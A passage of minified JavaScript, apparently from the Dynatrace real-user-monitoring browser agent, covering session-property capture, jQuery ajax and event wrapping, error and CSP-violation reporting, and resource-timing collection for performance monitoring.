Ka=ta.dT_.loc();ua=W.toLowerCase();if(va[ua]&&ja===Ka)ua={value:va[ua]};else{ja=Ka;va={};var Hb=Ma.location.search?Ma.location.search.slice(1):Ka.split("?")[1];if(Hb){Hb=Hb.split("#")[0];Ka=0;for(Hb=Hb.split("&");Ka<Hb.length;Ka++){var ib=Hb[Ka].split("="),aa=ib[0];ib=ib[1]?ib[1]:"";aa=aa.toLowerCase();va[aa]||(va[aa]=ib)}ua=va[ua]?{value:va[ua]}:{info:"Searched expression [".concat(W,"] was not found in the querystring.")}}else ua= {info:"URL does not contain any query string."}}break;case "e":ua=db(W)}W=ua.value;ua=ua.info;Pa(W)?("string"===typeof W&&(ia<la&&(W=W.substring(0,ia),ua="Because of available char length [".concat(ia,"] captured metadata value was trimmed.")),W.length>la&&(ua="Captured value is trimmed to configured string length of [".concat(la,"] because it is too long."),W=W.substring(0,la))),W=String(W),Q.value=W,L+=W.length):Q.value=null;ua&&(Q.info=ua)}}}return[L,C]}function ab(L){var C="";switch(L){case "a":C= "CSS Selector";break;case "b":C="JavaScript Variable";break;case "c":C="Cookie";break;case "d":C="Query String";break;case "e":C="JavaScript Function"}return C}function ba(){za();var L=[],C;for(C in S)if(ta.dT_.oHOP(S,C)){var H=S[C],Q={id:C,type:ab(H.type),expression:H.Xb,value:H.value};H.info&&(Q.info=H.info);ta.dT_.apush(L,Q)}return L}function Z(){var L=ta.dT_.scv("md"),C=ta.dT_.scv("mdp"),H=ta.dT_.scv("mdl");U=ta.dT_.ncv("mmds");if(L){C=C.split(",");for(var Q={},ia=0,W=H.split(",");ia<W.length;ia++){var la= W[ia].split("=");H=la[0];la=ta.dT_.pn(la[1]);isNaN(la)||(Q[H]=Math.round(la))}ia={};W=0;for(L=L.split(",");W<L.length;W++){var ua=L[W],Ka=ua.indexOf("=");H=ua.substring(0,Ka);la=ua.charAt(Ka+1);if("a"===la||"b"===la||"c"===la||"d"===la||"e"===la)ua=ta.dT_.de(ua.substring(Ka+2)),ia[H]={type:la,Xb:ua,value:null,hd:!1},Q[H]&&(ia[H].maxLength=Q[H])}for(Q=0;Q<C.length;Q++)H=C[Q],ia[H]&&(ia[H].hd=!0);S=ia}else S={}}function Aa(){ta.dT_.addE("CONFIG_UPDATE",Z);Z();ta.dT_.aBPSL(function(L,C,H,Q){if(L.ha(Q)){H= za();C=H[0];H=H[1];var ia=[],W=ta.dT_.sNT();for(Ka in S)if(ta.dT_.oHOP(S,Ka)){var la=S[Ka].value,ua=S[Ka].hd;"undefined"!==typeof la&&null!==la&&(!ua&&W&&(la="dT_pv"),ia.push("".concat(Ka,",").concat(ta.dT_.aesc(la))))}var Ka=(Ka=ia.join(";"))&&encodeURIComponent(Ka);L.av(Q,"md",Ka,!0);C>=U&&(C=String(U),H&&(C+=","+H),L.av(Q,"mdlr",C,!0))}})}function na(){var L=[],C=za()[0],H=[],Q=[];for(W in S)if(ta.dT_.oHOP(S,W)){var ia=S[W];null!==ia.value&&"dT_err"!==ia.value||!ia.info||H.push("'".concat(ia.Xb, "'(").concat(ab(ia.type),"): '").concat(ia.info,"'"));!ia.hd&&ta.dT_.sNT()&&Q.push("'".concat(ia.Xb,"'(").concat(ab(ia.type),")"))}if(H.length){var W=[];for(ia=0;ia<H.length;ia++)W.push({type:"mnc",text:H[ia],severity:"Info"});L.push({severity:"Info",text:"".concat(H.length," session/action ").concat(1<H.length?"properties":"property"," not collected"),type:"mnc",children:W})}Q.length&&L.push({severity:"Info",text:"Because of respected doNotTrack there are no session/action properties reported for: ".concat(Q.join(", ")), type:"mdr"});C>=U&&L.push({severity:"Warning",text:'Session/action properties size exceeds the active limit of "'.concat(U,'"'),type:"mlr"});return L}var ta="undefined"!==typeof window?window:self,Ma="undefined"!==typeof window?window:self,Ja={ag:0,$f:0},fa={"window.Intercom":{ag:1,$f:1},"LC_API.get_last_visit_timestamp":Ja,"LC_API.get_visits_number":Ja,"LC_API.get_page_views_number":Ja,"LC_API.get_chats_number":Ja,"LC_API.get_visitor_id":Ja,"LC_API.get_chat_id":Ja},S={},va={},ja,U,eb;(function(){var L, C;return(eb=Ma.dT_)&&(null===(C=(L=ta.dT_).smbi)||void 0===C?0:C.call(L,"h"))?(Aa(),ta.dT_.addE("DEBUG_INFO_REQUESTED",na),!0):!1})()&&(eb.gEMD=ba)})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(aa){var qa=!1,V=-1;if(0===aa.length)aa={};else if(1===aa.length)if("object"===typeof aa[0])aa=aa[0];else{var pa=aa[0];aa={}}else"object"===typeof aa[0]?(aa=aa[0],V=1):"object"===typeof aa[1]?(qa=!0,pa=aa[0],aa=aa[1],V=2):(pa=aa[0],aa={});return{Hh:aa,url:pa,Ph:qa,Dh:V}}function La(){function aa(){if(!lb){var Ha=S.dT_.nw();lb=!0;S.dT_.st(function(){S.dT_.lx(Ab, jb,!1,Ha)},0)}}var qa=Array.prototype.slice.call(arguments),V=ra(qa),pa=V.Hh,Va=V.url,nb=V.Ph;V=V.Dh;var lb=!1;pa.dT_depth=0;var jb=gb(Va,pa),Ab=S.dT_.ex("j"+Q,3,jb),gc=pa.beforeSend;pa.beforeSend=function(Ha,yb){yb=S.dT_.sch(yb,jb,Ab);var vb=Ha,ca=yb;if("undefined"!==typeof vb)for(var Oa in ca.headers)if(S.dT_.oHOP(ca.headers,Oa))try{vb.setRequestHeader(Oa,String(ca.headers[Oa]))}catch(Za){}if(gc){vb=void 0;try{vb=ib.beforeSend(gc,this,arguments)}catch(Za){throw"TypeError"===Za.name&&aa(),Za;}return vb}}; Va=[];nb&&Va.push(jb);Va.push(pa);if(-1!==V)for(nb=V;nb<qa.length;nb++)Va.push(qa[nb]);db(pa,"complete",Ab,aa,!0);db(pa,"success",Ab,aa,!1);db(pa,"error",Ab,aa,!1);qa=!0;try{var Vb=ib.ajax(eb.ajax,this,Va,Ab,jb,"j");try{qa=Vb&&Vb.statusText&&"canceled"===Vb.statusText||!1===Vb}catch(Ha){qa=!1}}finally{pa.dT_depth--,qa&&aa()}Ea(Vb,"always",Ab,aa,jb);Ea(Vb,"complete",Ab,aa,jb);Ea(Vb,"done",Ab,aa,jb);Ea(Vb,"fail",Ab,aa,jb);Ea(Vb,"error",Ab,aa,jb);return Vb}function gb(aa,qa){var V=va.jQuery?va.jQuery.ajaxSettings: {},pa,Va;for(Va in V)S.dT_.oHOP(V,Va)&&"undefined"===typeof qa[Va]&&("function"===typeof V[Va]&&"jsonpCallback"!==Va?qa[Va]=V[Va]:"url"===Va&&(pa=V[Va]));"string"===typeof aa&&(qa.url=aa);"string"===typeof qa.success&&(qa.success=!1);aa=String(qa.url||pa);"undefined"===aa&&(aa=location.href);return aa}function db(aa,qa,V,pa,Va){if(Va||aa[qa]){var nb=aa[qa];aa[qa]=function(){S.dT_.ec(V);"error"===qa&&S.dT_.mx()&&Ua(arguments[0],arguments[1],arguments[2],V);var lb=!1;try{if("function"===typeof nb)var jb= ib.onComplete(nb,this,arguments);else if(nb&&nb.length)for(var Ab=0;Ab<nb.length;Ab++)ib.onComplete(nb[Ab],this,arguments)}catch(gc){throw lb=!0,gc;}finally{S.dT_.lc(V),("complete"===qa||lb)&&pa()}return jb}}else S.dT_.mx()&&"error"===qa&&(aa[qa]=function(lb,jb,Ab){Ua(lb,jb,Ab,V)})}function Ea(aa,qa,V,pa,Va){if(aa){var nb=aa[qa];nb&&(aa[qa]=function(){for(var lb=[],jb=0;jb<arguments.length;jb++)lb[jb]=arguments[jb];var Ab=lb[0];lb=lb.slice();"function"===typeof Ab&&(lb[0]=function(){S.dT_.ec(V);try{return ib.promiseCallback(Ab, this,arguments,V,Va,"j")}finally{S.dT_.lc(V),pa()}});return nb.apply(aa,lb)})}}function Ua(aa,qa,V,pa){try{"timeout"===qa?S.dT_.mxt(pa):"abort"===qa?S.dT_.mxc(pa):"parsererror"===qa?(S.dT_.mxp(V&&"object"===typeof V?V.message:"Parser Error",pa),S.dT_.rex(V,void 0,!1,"3")):"object"===typeof V?(S.dT_.mxf(aa.status,V.message||aa.statusText||qa,pa),S.dT_.rex(V,void 0,!1,"3")):S.dT_.mxf(aa.status,V||aa.statusText||qa,pa)}catch(Va){S.dT_.mxu(Va.message,pa)}}function Pa(aa){var qa=!Hb[aa];aa=Hb[aa]&&Hb[aa].Qa; var V=S.dT_.scv("doNotDetect").split(",");if(aa&&V)for(var pa=0;pa<V.length;pa++)if(V[pa]===aa)return!0;return qa}function za(aa,qa){function V(Va){var nb=S.dT_.gci();if(0===pa.indexOf("KD")||0===pa.indexOf("KU")){var lb=Va.keyCode||Va.charCode;lb&&(pa=0===pa.indexOf("KD")?"KD"+lb:"KU"+lb)}if(lb=Va.target||Va.currentTarget||Va.srcElement||null){var jb=Va.isTrigger||!Va.originalEvent||!1===Va.originalEvent.isTrusted;nb||S.dT_.bcv("ote")&&jb||S.dT_.bi(lb,pa);jb=ib.generateWrapper(aa,this,arguments)}return jb} var pa=Hb[qa]&&Hb[qa].Oa;if(!aa||Pa(qa))return aa;V.dtHook=!0;V.origHandler=aa;return V}function ab(aa){var qa=aa&&aa.handler;qa&&!qa.dtHook&&(aa.handler=za(qa,aa.type))}function ba(aa,qa){if(aa=aa[qa])for(qa=0;qa<aa.length;qa++)ab(aa[qa])}function Z(aa,qa,V){var pa=ib.data(eb.data,this,arguments);"undefined"!==typeof pa&&pa&&"events"===qa&&(ba(pa,"click"),ba(pa,"mouseup"),ba(pa,"mousedown"),ba(pa,"keydown"),ba(pa,"autocomplete"));return pa}function Aa(aa,qa){if(qa)for(var V=0,pa=qa;V<pa.length;V++)ab(pa[V]); if(V=eb.handlers)return ib.eventHandler(V,this,arguments);if(Ka&&Ka.event.handlers&&Ka.event.handlers!==Aa)return ib.eventHandler(Ka.event.handlers,this,arguments)}function na(){var aa=S.dT_.cA(arguments);3===aa.length&&aa[2]&&"undefined"!==typeof aa[2].origHandler&&(aa[2]=aa[2].origHandler);return ib.off(eb.off,this,aa)}function ta(aa,qa,V){if(aa[qa]&&aa[qa]!==eb[qa]){if(L[qa])L[qa]();var pa=aa[qa];eb[qa]=aa[qa];var Va=!1;L[qa]=function(){Va=!0};aa[qa]=function(){return Va?ib.wrapperExecutor(pa, this,arguments):ib.wrapperExecutor(V,this,arguments)}}}function Ma(){if(va.jQuery){Ka=va.jQuery;S.dT_.rpl(Ka,"data","j");S.dT_.rpl(Ka,"ajax","j");Q=Ka.fn.jquery||"0.0";var aa=Ka.migrateVersion;-1===S.dT_.aIOf(ia,Q)&&ia.push(Q);aa&&-1===S.dT_.aIOf(W,aa)&&W.push(aa);"undefined"===typeof H&&(aa=Q.split("."),H=S.dT_.cvs("1.3 1.4 1.5 1.6 1.6 1.7 1.8 1.9 1.10 1.11 1.12 2.0 2.1 2.2 3.0 3.1 3.2 3.3 3.4 3.5 3.6".split(" "),aa[0],aa[1],"jQuery"));H&&(ta(Ka,"ajax",La),S.dT_.ti(),ta(Ka,"data",Z),Ka.event&&ta(Ka.event, "handlers",Aa),ta(Ka.fn,"off",na),la||(la=!0,S.dT_.ael(va,"unload",fa)))}}function Ja(){var aa=va.jQuery;aa&&aa.data&&aa.ajax&&Ma()}function fa(){var aa,qa;C||("undefined"!==typeof Ka&&(L.ajax&&L.ajax(),L.data&&L.data(),L.handlers&&L.handlers(),L.off&&L.off()),L=(aa={},aa.ajax=void 0,aa.handlers=void 0,aa.off=void 0,aa.data=void 0,aa),eb=(qa={},qa.ajax=void 0,qa.handlers=void 0,qa.off=void 0,qa.data=void 0,qa),C=!0);ia=[];W=[]}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window? window:self,ja,U,eb,L,C=!1,H,Q,ia,W,la=!1,ua=!1,Ka,Hb={click:{Oa:"C",Qa:"clk"},dblclick:{Oa:"CC",Qa:"dcl"},mouseup:{Oa:"U",Qa:"mup"},mousedown:{Oa:"D",Qa:"mdw"},keyup:{Oa:"KU",Qa:"kyu"},keydown:{Oa:"KD",Qa:"kyd"},scroll:{Oa:"S",Qa:"scr"},touchstart:{Oa:"TS",Qa:"tcs"},touchend:{Oa:"TE",Qa:"tce"},autocomplete:{Oa:"A",Qa:""}},ib=(ja={},ja.beforeSend=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.wrapperExecutor=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.onComplete=function(aa,qa,V){return U.aWF(aa,qa, V)},ja.ajax=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja.generateWrapper=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.data=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.eventHandler=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.off=function(aa,qa,V){return U.aWF(aa,qa,V)},ja.promiseCallback=function(aa,qa,V,pa,Va,nb){return U.aWF(aa,qa,V,pa,Va,nb)},ja);(function(){var aa,qa;U=va.dT_;ua=la=C=!1;eb={};L={};ia=[];W=[];return U&&(null===(qa=(aa=S.dT_).smbi)||void 0===qa?0:qa.call(aa,"j"))? (S.dT_.afpl(va,"jQuery",null,function(){va.jQuery&&!va.jQuery.ajax?ua||(S.dT_.afpl(va.jQuery,"ajax",null,Ja,"j"),S.dT_.afpl(va.jQuery,"data",null,Ja,"j"),ua=!0):Ma()},"win"),S.dT_.addE("LOAD_END",Ja),S.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"fv",text:"jQuery: ["+ia+"]"+(W.length?", jQueryMigrate: ["+W+"]":""),severity:"Info"}}),!0):!1})()&&(U.initJQuery=Ma)})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(H,Q,ia,W,la){var ua,Ka=!1;if(!va&&!S){S=!0;try{try{fa&&fa!==ra&&"function"===typeof fa&&(Ka=fa(H,Q,ia,W,la))}catch(Hb){na.dT_.rex(Hb,void 0,!0,"1")}Ka||na.dT_.re((ua={},ua.msg="string"===typeof H?H:"",ua.file=Q||"",ua.line=ia||-1,ua.column=W||-1,ua.error=la||"",ua.stackContainsWrapper=!1,ua.source="1",ua))}catch(Hb){}S=!1}return Ka}function La(H,Q, ia){H[Q]=ia(H[Q])}function gb(H){try{if(!Ea(H))return H;var Q=H.dtwid;"number"===typeof Q&&U[Q]?U[Q].Ce++:(U[eb]={Da:H,Ce:1},H.dtwid=eb++);H.rxewrapper=H.rxewrapper||function(ia){if(ja)try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw na.dT_.rex(W,void 0,!0,"1"),db(),W;}else try{if(Ea(H))return L.errorCallback(H,this,arguments)}catch(W){if(-2146823277!==W.number)throw W;}};return H.rxewrapper.rxewrapper=H.rxewrapper}catch(ia){return H}}function db(){va+= 1;na.dT_.st(function(){--va},0)}function Ea(H){return"[object Function]"===Object.prototype.toString.call(H)}function Ua(){var H=document.getElementsByTagName("html");(0===H.length||0<H.length&&!H[0].hasAttribute||0<H.length&&!H[0].hasAttribute("webdriver"))&&"EventTarget Window ModalWindow".replace(/\w+/g,function(Q){(Q=ta[Q]&&ta[Q].prototype)&&na.dT_.oHOP(Q,"addEventListener")&&(La(Q,"addEventListener",function(ia){return function(W,la,ua,Ka){la&&la.handleEvent&&(la.handleEvent=gb(la.handleEvent)); return ia.call(this,W,gb(la),ua,Ka)}}),La(Q,"removeEventListener",function(ia){return function(W,la,ua,Ka){try{return ia.call(this,W,la&&la.rxewrapper?la.rxewrapper:la,ua,Ka)}finally{la&&(W=la.dtwid,"number"===typeof W&&U[W]&&U[W].Da===la&&(U[W].Ce--,U[W].Ce||(delete la.rxewrapper,delete la.dtwid,delete U[W])))}}}));return""})}function Pa(){Ja=ta.dT_;if(!na.dT_.bcv("doel")){ta.onerror!==ra&&(Ja.rxehandler=ra,ta.onerror&&(fa=ta.onerror),ta.onerror=Ja.rxehandler);try{na.dT_.apl(ta,"onerror",function(){return ra}, function(H){fa=H})}catch(H){}na.dT_.ael(ta,"unload",function(){na.dT_.rpl(ta,"onerror","win");ta.onerror=null;for(var H in U)na.dT_.oHOP(U,H)&&(delete U[H].Da.rxewrapper,delete U[H].Da.dtwid);U={}});if(!ta.atob)ja=!1;else if(ta.ErrorEvent)try{0===(new ta.ErrorEvent("test")).colno&&(ja=!1)}catch(H){}ja&&Ua()}}function za(){for(var H=[],Q=0;Q<arguments.length;Q++)H[Q]=arguments[Q];var ia,W;for(Q=0;Q<H.length;Q++){var la=H[Q];!ia&&na.dT_.iIO(la,7)&&(ia=la);!W&&la&&"string"===typeof la&&(W=la)}(ia||W)&& na.dT_.rex(ia||W,void 0,!1,"2");return C.apply(this,H)}function ab(H){var Q;if(Q="string"===typeof H.blockedURL&&"string"===typeof H.documentURL&&H.blockedURL&&H.documentURL){Q=H.blockedURL;var ia=na.dT_.scv("reportUrl"),W=void 0;void 0===W&&(W=0);var la=-1;ia&&(null===Q||void 0===Q?0:Q.indexOf)&&(la=Q.indexOf(ia,W));Q=-1===la}if(Q){Q=[];for(var ua in H)H[ua]&&"function"!==typeof H[ua]&&Q.push([String(ua),String(H[ua])]);Q.length&&na.dT_.cAE("_csprv_",Q,!0,void 0,1)}}function ba(H){var Q;"securitypolicyviolation"=== H.type&&ab((Q={},Q.sourceFile=H.sourceFile,Q.blockedURL=H.blockedURI,Q.documentURL=H.documentURI,Q.referrer=H.referrer,Q.disposition=H.disposition,Q.effectiveDirective=H.effectiveDirective||H.violatedDirective,Q.originalPolicy=H.originalPolicy,Q.statusCode=H.statusCode,Q.lineNumber=H.lineNumber,Q.columnNumber=H.columnNumber,Q.sample=H.sample,Q))}function Z(H){for(var Q=0;Q<H.length;Q++){var ia=H[Q];"csp-violation"===ia.type&&(ia=ia.body)&&ab(ia)}}function Aa(H){H.reason&&na.dT_.iIO(H.reason,7)?na.dT_.rex(H.reason, void 0,!0,"4"):H.detail&&na.dT_.iIO(H.detail.reason,7)&&na.dT_.rex(H.detail.reason,void 0,!0,"4")}var na="undefined"!==typeof window?window:self,ta="undefined"!==typeof window?window:self,Ma,Ja,fa,S=!1,va=0,ja=!0,U={},eb=0,L=(Ma={},Ma.errorCallback=function(H,Q,ia,W,la,ua){return Ja.aWF(H,Q,ia,W,la,ua)},Ma),C;(function(){var H,Q;if(ta.dT_&&(null===(Q=(H=na.dT_).smbi)||void 0===Q?0:Q.call(H,"q"))&&(Pa(),na.dT_.bcv("lupr")&&na.dT_.ael(ta,"unhandledrejection",Aa),na.dT_.bcv("csprv")&&(ta.ReportingObserver? (new ta.ReportingObserver(Z,{buffered:!0,types:["csp-violation"]})).observe():na.dT_.gBI().ff&&na.dT_.ael(document,"securitypolicyviolation",ba)),na.dT_.bcv("cce"))){var ia;null!==(ia=ta.console)&&void 0!==ia&&ia.error&&(C=ta.console.error,ta.console.error=za)}})()})()})(); (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);var ra=this.dT_&&dT_.prm&&dT_.prm()||window.Promise;(function(){function La(t,y,Y,x){function oa(R){return R instanceof Y?R:new Y(function(O){O(R)})}return new (Y||(Y=ra))(function(R,O){function wa(Eb){try{Wa(x.next(Eb))}catch(Lb){O(Lb)}}function Ga(Eb){try{Wa(x["throw"](Eb))}catch(Lb){O(Lb)}}function Wa(Eb){Eb.done?R(Eb.value):oa(Eb.value).then(wa,Ga)}Wa((x=x.apply(t,y||[])).next())})}function gb(t, y){function Y(Wa){return function(Eb){return x([Wa,Eb])}}function x(Wa){if(R)throw new TypeError("Generator is already executing.");for(;oa;)try{if(R=1,O&&(wa=Wa[0]&2?O["return"]:Wa[0]?O["throw"]||((wa=O["return"])&&wa.call(O),0):O.next)&&!(wa=wa.call(O,Wa[1])).done)return wa;if(O=0,wa)Wa=[Wa[0]&2,wa.value];switch(Wa[0]){case 0:case 1:wa=Wa;break;case 4:return oa.label++,{value:Wa[1],done:!1};case 5:oa.label++;O=Wa[1];Wa=[0];continue;case 7:Wa=oa.Ja.pop();oa.ia.pop();continue;default:if(!(wa=oa.ia, wa=0<wa.length&&wa[wa.length-1])&&(6===Wa[0]||2===Wa[0])){oa=0;continue}if(3===Wa[0]&&(!wa||Wa[1]>wa[0]&&Wa[1]<wa[3]))oa.label=Wa[1];else if(6===Wa[0]&&oa.label<wa[1])oa.label=wa[1],wa=Wa;else if(wa&&oa.label<wa[2])oa.label=wa[2],oa.Ja.push(Wa);else{wa[2]&&oa.Ja.pop();oa.ia.pop();continue}}Wa=y.call(t,oa)}catch(Eb){Wa=[6,Eb],O=0}finally{R=wa=0}if(Wa[0]&5)throw Wa[1];return{value:Wa[0]?Wa[1]:void 0,done:!0}}var oa={label:0,J:function(){if(wa[0]&1)throw wa[1];return wa[1]},ia:[],Ja:[]},R,O,wa,Ga;return Ga= {next:Y(0),"throw":Y(1),"return":Y(2)},"function"===typeof Symbol&&(Ga[Symbol.iterator]=function(){return this}),Ga}function db(t,y){void 0===y&&(y=0);return t.name+"_"+(t.startTime+y)+"_"+t.duration}function Ea(){try{performance.getEntries()[0].dt_test=!0,Va=performance.getEntries()[0].dt_test,nb=function(){return!!Va}}catch(t){}}function Ua(){pa=V.dT_;nb=qa.dT_.gBI().sf?function(){return!1}:function(){Ea();return!!Va}}function Pa(){function t(){}if(!Ab)return!1;Vb=Ab.getEntriesByType;Ha=Ab.getEntriesByName; gc=Ab.setResourceTimingBufferSize;(yb=Ab.clearResourceTimings)&&(Ab.clearResourceTimings=t);Ab.webkitClearResourceTimings&&(Ab.webkitClearResourceTimings=t);return!!Vb&&!!Ha&&!!gc&&!!yb}function za(t){"function"===typeof Ab.addEventListener?Ab.addEventListener("resourcetimingbufferfull",t):"undefined"!==typeof Ab.onresourcetimingbufferfull&&(vb=Ab.onresourcetimingbufferfull,Ab.onresourcetimingbufferfull=t)}function ab(){try{"function"===typeof vb&&vb.call(Ab,new Event("resourcetimingbufferfull",{bubbles:!0, cancelable:!0})),qa.dT_.st(function(){yb.call(Ab)},0)}catch(t){}}function ba(){Ab=V.performance;var t=Pa();t&&gc.call(Ab,1E3);return t}function Z(t){var y=t.detail;t=y.a;if(y=y.e)for(var Y=0;Y<y.length;Y++){var x=y[Y],oa=x.url;if(oa){var R=x.relevance||0;x={Ub:x.area,imageWidth:x.w,imageHeight:x.h,he:x.nw,ge:x.nh,gg:x.o,De:R,hh:x.ireason||0,G:t||0};if(!ca[oa]||R>ca[oa].De)ca[oa]=x}}}function Aa(t){return!!t&&isFinite(t)&&0<t}function na(t){var y=ca[t.name];"undefined"!==typeof y?(t.relevantArea=y.Ub, t.relevance=y.De,t.vcIrrelevanceReason=y.hh,y.gg&&(t.onloadTime=y.gg-Math.round(t.startTime)-qa.dT_.gto()),Aa(y.imageWidth)&&Aa(y.imageHeight)&&(t.imageWidth=y.imageWidth,t.imageHeight=y.imageHeight),Aa(y.he)&&y.he!==y.imageWidth&&(t.imageNaturalWidth=y.he),Aa(y.ge)&&y.ge!==y.imageHeight&&(t.imageNaturalHeight=y.ge),delete ca[t.name]):t.relevance=0}function ta(){return Za}function Ma(t){ka[db(t)]=t}function Ja(t){$a[db(t)]=t}function fa(t,y,Y){return{get:function(){var x=Number(t[Y]);return isNaN(x)? y:x+y}}}function S(t,y){function Y(wa){wa in t&&(oa[wa]={get:function(){return t[wa]}})}if(0>=y)return t;var x=ka[db(t,y)];if(x)return x;for(var oa={},R=0,O=Cb;R<O.length;R++)x=O[R],oa[x]=fa(t,y,x);y=0;for(R=bd;y<R.length;y++)x=R[y],Y(x);x=Object.create(t,oa);x._dtCl=!0;Ma(x);return x}function va(){var t=[],y=document.getElementsByTagName("iframe");if(!y.length)return t;for(var Y=0;Y<y.length;Y++){var x=y[Y];try{var oa=t,R=oa.concat;var O=void 0,wa=x.contentWindow;b:{for(var Ga=0;Ga<Oa.length;Ga++)if(x=== Oa[Ga]){var Wa=Ga;break b}var Eb=Oa.length;Oa.push(x);"undefined"!==typeof x.src&&(Za[x.src]=Eb);Wa=Eb}if(wa.dT_)var Lb=[];else{x=[];var Nb=wa.performance.getEntriesByType("resource"),ac=Ab.timeOrigin;O=ac?wa.performance.timeOrigin-ac:wa.performance.timing.navigationStart-Ab.timing.navigationStart;O=Math.round(O);for(Ga=0;Ga<Nb.length;Ga++){var rc=S(Nb[Ga],O);I[db(rc)]||(rc.frameId=Wa,x.push(rc))}Lb=x}t=R.call(oa,Lb)}catch(mc){}}return t}function ja(){var t=[],y=Vb.call(Ab,"resource"),Y=nb(),x;if(V.frames&& V.frames.length){for(var oa=[],R=0;R<V.frames.length;R++)try{var O=V.frames[R];O.dT_&&(null===(x=null===O||void 0===O?void 0:O.location)||void 0===x?0:x.href)&&oa.push(O.location.href)}catch(wa){}x=oa}else x=[];for(oa=0;oa<y.length;oa++){R=y[oa];Y||((O=$a[db(R)])?R=O:Ja(R));if(!(O=I[db(R)]))a:{if(("iframe"===R.initiatorType||"subdocument"===R.initiatorType)&&x.length)for(O=0;O<x.length;O++)if(x[O]===R.name){O=!0;break a}O=!1}O||t.push(R)}return t}function U(t,y){if("text/css"===y.type){var Y=y.href|| "";var x=y.ownerNode;y=x&&x.nodeType&&1===x.nodeType?y.ownerNode:null}else Y=y.src;Y&&y&&(t[Y]=y);return t}function eb(t,y){return y.G!==t&&!y.zg}function L(t,y,Y,x,oa,R){return function(O){var wa=pa;if(!I[db(O)])try{var Ga=O.name,Wa=(O.workerNavigationStart||qa.dT_.gto())+O.startTime,Eb=O.name,Lb;if(!(Lb=-1<Eb.indexOf(qa.dT_.scv("csu"))||-1<Eb.indexOf("ampbf")&&-1<Eb.indexOf("flavor=amp"))){var Nb=Eb.indexOf,ac=qa.dT_.scv("reportUrl");lb&&ac===jb||(jb=ac,lb=qa.dT_.tau(jb));Lb=-1!==Nb.call(Eb,lb)}if(!(Lb|| O.startTime>O.responseEnd||0>O.startTime)&&wa.tpih&&wa.tpih(Ga)){wa=Wa-t;var rc=ca[O.name],mc=O.Rg||Infinity;mc=oa?Infinity:mc;Ga=pa;if(t<=Wa&&Wa<=y+(Ga.syn?1E3:qa.dT_.ncv("rtt"))&&mc>=wa||rc&&rc.G===Number(Y)&&0<rc.De){var Oc;if(Oc=x){var Kc=O.name;Wa=void 0;void 0===Wa&&(Wa=0);rc=-1;x&&(null===Kc||void 0===Kc?0:Kc.indexOf)&&(rc=Kc.indexOf(x,Wa));Oc=-1<rc}Kc=3;oa?Kc=1:Oc&&(Kc=2);O.Yf&&3!==O.Yf||(O.Rg=wa,O.Yf=Kc,O.qg=R,O.actionId=Y)}}}catch(gd){}}}function C(t,y,Y){return La(this,void 0,void 0,function(){var x, oa,R;return gb(this,function(O){switch(O.label){case 0:q=qa.dT_.aFr(q,eb.bind(null,t)),x=0,oa=q,O.label=1;case 1:if(!(x<oa.length))return[3,4];R=oa[x];return[4,H(R,R.start,y,!1,Y)];case 2:O.J(),R.zg=!0,O.label=3;case 3:return x++,[3,1];case 4:return[2]}})})}function H(t,y,Y,x,oa){var R=t.G,O=t.sg,wa=t.xhrUrl,Ga=t.start;return La(this,void 0,void 0,function(){var Wa,Eb,Lb,Nb;return gb(this,function(ac){switch(ac.label){case 0:return Wa=qa.dT_.lAID(),Eb=R===Wa,Lb=L(Ga,y,R,wa,Eb,O),[4,qa.dT_.fEP(oa, Lb,void 0,!Y)];case 1:ac.J();if(!x)return[2];Nb=Qb[O];Nb.count--;!Nb.count&&0<=Nb.ad.indexOf(O)&&qa.dT_.sMPS(1);return[2]}})})}function Q(){for(var t=0,y=qa.dT_.oK(Zb);t<y.length;t++){var Y=Zb[Number(y[t])];qa.dT_.ct(Y.ra);Y.kb(!0)}Zb={}}function ia(t,y,Y,x){var oa=Qb[Y];oa||(oa={count:0,ad:[]});oa.count++;oa.ad.push(t);Qb[Y]=oa;q.push({G:t,start:y,sg:Y,xhrUrl:x,zg:!1})}function W(){Qb={};Zb={};q=[];var t=qa.dT_.lAID();ia(t,qa.dT_.lst(),t);qa.dT_.addE("ACTION_ENTERED",la);qa.dT_.addE("ACTION_SENT", ua)}function la(t){var y=t.detail;t=y.x;var Y=y.i,x=y.a,oa=y.r;-1===qa.dT_.aIOf(D,y.t)&&(y=qa.dT_.lAID(),oa===y&&oa!==Y||ia(Y,x,oa,t))}function ua(t){return La(this,void 0,void 0,function(){function y(ac){return La(this,void 0,void 0,function(){var rc;return gb(this,function(mc){switch(mc.label){case 0:return rc=Array.prototype.concat(va(),ja(),Ba),[4,C(R,!0,rc)];case 1:return mc.J(),[4,H({G:R,sg:Wa,xhrUrl:x,start:O},wa,ac,!0,rc)];case 2:return mc.J(),[2]}})})}var Y,x,oa,R,O,wa,Ga,Wa,Eb,Lb,Nb;return gb(this, function(ac){switch(ac.label){case 0:Y=t.detail;x=Y.x;oa=Y.t;R=Y.i;O=Y.a;wa=Y.s;Ga=Y.f;Wa=Y.r;(Eb=Y.rt)&&Ja(Eb);if(-1!==qa.dT_.aIOf(D,oa))return[2];Lb=qa.dT_.lAID();return Wa===Lb&&Wa!==R?[2]:Ga?[4,y(Ga)]:[3,2];case 1:return ac.J(),[3,3];case 2:Nb=qa.dT_.st(function(){delete Zb[R];y(Ga)},2E3),Zb[R]={ra:Nb,kb:y},ac.label=3;case 3:return[2]}})})}function Ka(t){var y;if(y="number"===typeof t.qg){var Y;y=0===(null===(Y=Qb[t.qg])||void 0===Y?void 0:Y.count)}return y}function Hb(t){var y=[],Y=0,x=[];for(O in Qb){var oa; if(oa=qa.dT_.oHOP(Qb,O)){oa=Number(O);var 